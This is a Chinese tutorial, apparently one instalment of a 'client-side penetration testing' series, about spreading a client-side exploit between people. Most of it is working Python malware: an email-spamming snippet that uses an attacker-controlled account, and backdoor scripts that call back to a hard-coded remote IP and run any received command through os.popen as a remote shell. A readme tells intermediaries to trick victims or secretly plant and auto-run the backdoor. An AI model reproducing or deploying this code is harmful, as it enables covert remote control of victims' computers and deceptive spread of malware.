客户端渗透测试练习(插曲1:客户端攻击exploit的自动传播)
#0:网络传播(社会工程学)
社会工程学是一个玄学,主要是要抓住用户的喜好之类的,在实际应用中发挥的效果是不确定的。
#1:邮件
参照这篇文章配置邮箱POP3/SMTP服务,然后在之前的service.py的中(最好是在所有import语句之后)添加如下代码:
import smtplib html=""" <html> <body> <p> Here is the <a href="http://XXX">software</a> you wanted. </p> </body> </html> """#此处http://XXX应为service.py在服务器上的链接 sender=input('该程序需要进行身份验证,请输入您的邮箱:')#此处为下载者输入的邮箱 receivers=['XXX@XXX.com']#此处为要发送的邮箱,可以搭配theHarvester进行搜索 smtp=smtplib.SMTP() smtp.connect('smtp.XXX.com')#此处为之前设置的POP/SMTP邮件服务器的地址 smtp.login('XXX@XXX.com','XXXXXXX')#此处为之前设置的你的邮箱和授权码,或者是从收集信息阶段获得的邮箱,然后照着上面进行配置,然后使用 smtp.sendmail(sender,receivers,html) smtp.quit()
然后,只要用户运行这个程序,就会让用户输入邮箱,然后用这个邮箱名去发邮件,但实际上用的是你自己控制的邮箱。这是一种相对稳定的方式,但是依然不能保证一定成功,因为即使是免费的邮件解决方案也可以过滤垃圾邮件。那么,有没有更稳当的方法呢?
#2:U盘
本来是想让service.py检测U盘,然将一个自己的副本(该副本不需要任何外部装饰,只需有核心部分(即回连和接受请求,也可以加上邮件部分))拷贝到U盘中,并设置一个autorun.inf(用于自动执行)和autorun.bat(用于复制前面写入U盘的副本和设置开机自启),但是我在尝试和查阅资料后发现几乎所有的Windows(因为autorun.inf只对Windows有效)都默认禁用了autorun.inf,所有就不可能实现想要的效果。
但是还是有别的方法,但是就需要一些硬件知识,而且这个方法只能使用攻击者的U盘,那就是Bad USB(请自行百度该方法)。(如果你能找到方法检测被攻击者的U盘并将其改写为Bad USB并不影响其原有的功能,那么也是可行的)
#3:网络传播+人为因素(还是社会工程学)
现在是网络时代,根据一些调查,很多人会觉得黑客很酷,所以我们可以投其所好,利用这一点来传播我们的exploit。
PS:如果被欺骗者(我们的第一层受害者)或受害者(实为第二层受害者)的电脑没有python3.X,那么需要打包为exe进行分发。
新建一个handout文件夹,把console.py和exploit.py复制进去,略微进行更改,如下
console.py
import socket import os def checkip(ip): if '.' not in ip: return False elif ip.count('.')!=3: return False else: flag=True ip=ip.split('.') for o in ip: try: on=int(o) if on>=0 and on<=255: pass else: flag=False except: flag=False return flag #os.system('start server.exe') os.system('python server.py') host=socket.gethostbyname(socket.gethostname()) with open('port.ini','r') as p: port=int(p.read()) #port=8080 web=socket.socket() web.bind((host,port)) web.listen(1) conn,addr=web.accept() while True: data=conn.recv(1024) if data.decode()=='Ready!': try: conn.sendall(data) data=conn.recv(1024) if checkip(data.decode()): try: d='OK!' rhost=data.decode() rport=8080 conn.sendall(d.encode()) conn.close() web.close() print('Ready,IP:'+str(rhost)) break except: pass except: pass else: pass s=socket.socket() s.connect((rhost,rport)) while True: send=input('exploit >') s.sendall(send.encode()) if send=='exit': break r=s.recv(1024) print(r.decode()) s.close()
这个是被欺骗的人要使用的东西,所以还是和我们自己的console差不多。
exploit.py
import socket import os import time import random #host='127.0.0.1' host=socket.gethostbyname(socket.gethostname()) port=8090 rhost='192.168.1.102' rport=8080 s=socket.socket() while True: try: s.connect((rhost,rport)) send='Ready!' try: s.sendall(send.encode()) r=s.recv(1024) if r.decode()=='Ready!': try: s.sendall(str(host).encode()) r=s.recv(1024) if r.decode()=='OK!': s.close() break else: pass except: time.sleep(30+random.randint(-10,10)) continue else: continue except: time.sleep(30+random.randint(-10,10)) continue except: time.sleep(1) web=socket.socket() web.bind((host,port)) web.listen(1) conn,addr=web.accept() while True: data=conn.recv(1024) #print(data.decode()) if data.decode()=='exit': break f=os.popen(data.decode()) d=f.read() conn.sendall(d.encode()) f.close() conn.close() web.close()
这个是要在被欺骗者不知情的情况下运行(console.py中有对这个文件的调用)
到这里肯定已经发现有一个port.ini文件,我们新建一个文件,重命名为port.ini,这个是供被欺骗者使用的。
然后再在handout文件夹下新建attk文件夹,里面放一个空的host.ini和exploit.py,内容如下
import socket import os import time import random host=socket.gethostbyname(socket.gethostname()) port=8080 rhosts=['127.0.0.1'] rports=[8080] with open('host.ini','r') as h: host=h.read() hp=host.split(':') rhosts.insert(0,hp[0]) rports.insert(0,int(hp[1])) s=socket.socket() for i in range(len(rhosts)): while True: try: s.connect((rhosts[i],rports[i])) send='Ready!' try: s.sendall(send.encode()) r=s.recv(1024) if r.decode()=='Ready!': try: s.sendall(str(host).encode()) r=s.recv(1024) if r.decode()=='OK!': s.close() break else: pass except: time.sleep(30+random.randint(-10,10)) continue else: continue except: time.sleep(30+random.randint(-10,10)) continue except: time.sleep(1) web=socket.socket() web.bind((host,port)) web.listen(len(rhosts)) conn,addr=web.accept() while True: data=conn.recv(1024) #print(data.decode()) if data.decode()=='exit': break f=os.popen(data.decode()) d=f.read() conn.sendall(d.encode()) f.close() conn.close() web.close()
这个可以让受害者的主机同时回连到被欺骗者和攻击者的主机,并同时接收两方的命令。
我们主题完成了,但是如果就这样放出去肯定会有很多人将port.ini和host.ini配置错误,所以我们还有教被欺骗者如何使用这个东西。
新建readme.txt,输入
使用: 首先将想要开放的端口号(一般设为80、8080或443)写入port.ini的第一排 然后将自己电脑的IP和想要对方电脑回连的端口号(于上面的开放的端口号要一致)写入attk/host.ini的第一排,用英文冒号:隔开 然后欺骗对方在电脑上运行attk文件夹下的exploit.py(必须把host.ini一起给他,不然无法回连)或者偷偷将attk文件夹放到别人的电脑上并使其能够自动运行 然后启动console.py,等待回连 一旦看到提示,就说明可以进行操作了 目前支持所有的cmd指令,只支持一个回连
好,我们已经完成了一个可以在人之间传播的exploit,接下来就是对其进行宣传了。